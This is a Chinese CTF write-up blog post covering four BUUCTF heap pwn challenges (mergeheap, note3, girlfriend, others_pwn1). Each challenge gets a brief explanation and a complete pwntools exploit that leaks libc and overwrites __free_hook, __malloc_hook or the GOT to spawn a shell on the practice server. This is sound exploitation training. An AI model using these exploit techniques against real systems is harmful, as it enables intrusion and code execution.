BUUCTF-PWN刷题记录-12

hwb_2019_mergeheap(unsorted bin泄露,strcat的利用)

在这里插入图片描述
这题主要利用的就是merge()函数中的漏洞
注意在merge两个堆时,使用的是strcpy和strcat,而·这两个函数都是遇到\x00才会停止的
而如果我们申请的content大小为8的奇数倍,由于chunk的复用就会导致size也变拷贝出来
在这里插入图片描述
利用思路:

  1. 申请八个Heap,然后倒着释放,此时heap[0]进入unsorted bin,申请一个8大小的chunk,使用show就能泄露main_arena+0xe0的地址,然后再申请一次把剩下的unsorted bin申请完
  2. 申请大小分别为0x30,0x38,0x100,0x68,0x20,0x20,0x20,0x20的content,编号为2-9,向9中写入/bin/sh,然后释放0x68[5],0x20[7],0x20[8],使用merget把2,3合并,此时由于strcat所以把0x20[6]这个chunk的size覆盖为0x111,接下来把[6]释放,申请0x100大小的chunk并把[7]的fd改为free_hook,之后申请出来覆盖为system地址,并释放9即可

Exp:

from pwn import *

menu = ">>"
def add(size, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("len:")
	r.sendline(str(size))
	r.recvuntil("content:")
	r.send(content)


def delete(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("idx:")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("idx:")
	r.sendline(str(index))

def merge(index1, index2):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("idx1:")
	r.sendline(str(index1))
	r.recvuntil("idx2:")
	r.sendline(str(index2))

r = remote("node3.buuoj.cn", 29116)
#r = process("./hwb_2019_mergeheap")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
    '''
    b *$rebase(0x1062)
    x/10gx $rebase(0x2020A0)
    c
    ''')
elf = ELF("./hwb_2019_mergeheap")
libc = ELF("./libc/libc-2.27.so")
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]

for i in range(8):
	add(0x80, 'aaa\n')

for i in range(1, 8):
	delete(i)

delete(0)
add(8, 'aaaaaaaa') #0
show(0)
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0xE0 - 0x10
success("malloc_Hook:"+hex(malloc_hook))
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
add(0x60, 'aaaa\n') #1

add(0x30, 'a'*0x30) #2
add(0x38, 'b'*0x38) #3
add(0x100, 'c\n') #4
add(0x68, 'dd\n') #5
add(0x20, 'e\n') #6
add(0x20, 'f\n') #7
add(0x20, 'g\n') #8
add(0x20, '/bin/sh\n') #9

delete(5)
delete(7)
delete(8)

merge(2, 3) #5
delete(6)
payload = 'a' * 0x28 + p64(0x31) + p64(free_hook) + p64(0) + '\n'
add(0x100, payload) #6 

add(0x20, 'hi\n') #7
add(0x20, 'hi\n') #8
add(0x20, p64(system) + '\n') #10
delete(9)

r.interactive()

zctf_2016_note3(强制转换溢出,unlink,修改GOT表)

在这里插入图片描述
这题其实和note2的思路也挺像
把shou功能去了,但是由于RELRO没有全开,我们只要把free的got改为puts就能泄露了
在这里插入图片描述
my_read中的强制转换溢出仍然存在
在这里插入图片描述
利用思路:

  1. unlink部分参考这里
  2. 从0x6020c8开始,写入p64(free_got)+p64(0)*2+p64(atoi_got)*2+p64(0)+p64(0)+p64(8)
  3. 先edit[0],把free got改为puts,然后delete[3],泄露atoi的地址,接着edit[4]把aoti的got改为system,输入/bin/sh即可
from pwn import *

r = remote("node3.buuoj.cn", 26395)
#r = process("./zctf_2016_note3")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x400A29
	x/10gx 0x6020C0
	c
	''')
elf = ELF("./zctf_2016_note3")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
bss_ptr = 0x6020C8
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts = elf.plt['puts']


menu = "option--->>\n"
def add(size, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Input the length of the note content:(less than 1024)\n")
	r.sendline(str(size))
	r.recvuntil("Input the note content:\n")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Input the id of the note:\n")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Input the id of the note:\n")
	r.sendline(str(index))

def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Input the id of the note:\n")
	r.sendline(str(index))
	r.recvuntil("Input the new content:\n")
	r.send(content)


payload = p64(0)+p64(0xa1)+p64(bss_ptr-0x18)+p64(bss_ptr-0x10)+'aaa\n'
add(0x80, payload)
add(0, 'idx1\n')
add(0x80, 'idx2\n')
add(8, 'idx3\n')
add(8, 'idx4\n')
add(8, 'idx5\n')
delete(1)
payload = 'a'*0x10 + p64(0xa0) + p64(0x90)+'\n'
add(0, payload) #4
delete(2)

payload = 'a'*0x18+p64(free_got)+p64(0)*2+p64(atoi_got)*2+p64(0)+p64(0)+p64(8)+'\n'
edit(0, payload)
edit(0, p64(puts))
r.sendline('4')
delete(3)
atoi_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc_base = atoi_addr - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
success("libc_base:"+hex(libc_base))
success("atoi:" + hex(atoi_addr))
success("system:" + hex(system))

edit(4, p64(system)+'\n')
r.recvuntil(menu)
r.sendline('/bin/sh')
r.interactive()

starctf_2019_girlfriend(unsorted bin泄露,double free)

在这里插入图片描述
又是一道似曾相识的题目,这题和ciscn_2019_es_1其实是一个思路,不过那题有tcache这题没有,所以有一些微小的差别

  1. 第一次申请大小为0x80就能够释放后进入unsorted bin了
  2. __malloc_hook为泄露地址-0x58-0x10
  3. double free的时候要采用交叉释放来绕过检查

Exp:

from pwn import *


r = remote("node3.buuoj.cn", 26677)
#r = process("./starctf_2019_girlfriend")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    ''' 
    b *$rebase(0xF41)
    x/10gx $rebase(0x202060)
    c
    ''')
elf = ELF("./starctf_2019_girlfriend")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

menu = "Input your choice:"
def add(size, content, phone):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Please input the size of girl's name\n")
	r.sendline(str(size))
	r.recvuntil("please inpute her name:\n")
	r.send(content)
	r.recvuntil("please input her call:\n")
	r.sendline(phone)

def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Please input the index:\n")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Please input the index:\n")
	r.sendline(str(index))

add(0x80, 'chunk0\n', '123')#0
add(0x68, 'chunk1\n', '123')#1
add(0x68, 'chunk2\n', '123')#2
add(0x68, '/bin/sh\n', '123')#3

delete(0)
show(0)
r.recvuntil("name:\n")
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + one_gadget_16[3]
success("malloc_hook:"+hex(malloc_hook))
success("libc_base:"+hex(libc_base))

delete(1)
delete(2)
delete(1)
add(0x68, p64(malloc_hook-0x23)+'\n', '123')#3
add(0x68, p64(malloc_hook-0x23)+'\n', '123')#4
add(0x68, p64(malloc_hook-0x23)+'\n', '123')#5
payload = 'a'*(0x13-8) + p64(one_gadget) + p64(realloc)
add(0x68, payload+'\n', '123')#4

r.recvuntil(menu)
r.sendline('1')

r.interactive()

others_pwn1(UAF)

在这里插入图片描述
删除之后指针没有置空
在这里插入图片描述
编辑时候可以发现description的地址应该是name+0x48的位置,然而name可以读入0x60大小,以为着可以覆盖一个堆上指针,从而达到任意地址写
在这里插入图片描述

Exp:

from pwn import *


r = remote("node3.buuoj.cn", 29369)
#r = process("./others_pwn1")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    ''' 
    b *0x400DCC
    x/10gx 0x602060
    c
    ''')
elf = ELF("./others_pwn1")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
read_got = elf.got['read']

menu = ">> "
def add(name, desc, size):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Please give me the book's name :\n")
	r.send(name)
	r.recvuntil("Please input the description about the book:\n")
	r.send(desc)
	r.recvuntil("How many book you want to take?\n")
	r.sendline(str(size))

def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Which book you want to delete?\n")
	r.sendline(str(index))

def show():
	r.recvuntil(menu)
	r.sendline('2')

def edit(index, name, choice, desc, size):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Which book you want to edit?\n")
	r.sendline(str(index))
	r.recvuntil("Please give me the book's name :\n")
	r.send(name)
	r.recvuntil("Do you want to change the description?(y/n)\n")
	r.sendline(choice)
	if choice == 'y':
		r.recvuntil("Please input the description about the book:\n")
		r.send(desc)
	r.recvuntil("How many book you want to take?\n")
	r.sendline(str(size))

add('idx0\n', 'aaa\n', 1)
add('idx1\n', 'aaa\n', 2)
add('/bin/sh\n', '/bin/sh\n', 3)
delete(0)
payload = p64(0)*9 + p64(read_got)
edit(0, payload, 'n', '', 3)
show()
r.recvuntil("description: ")
read_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = read_addr - libc.symbols['read']
system = libc.symbols['system']
free_hook = libc.sym['__free_hook']
success("libc_base:"+hex(libc.address))

delete(1)
payload = p64(0)*9 + p64(free_hook)
edit(1, payload, 'y', p64(system), 2)
delete(2)

r.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/105674961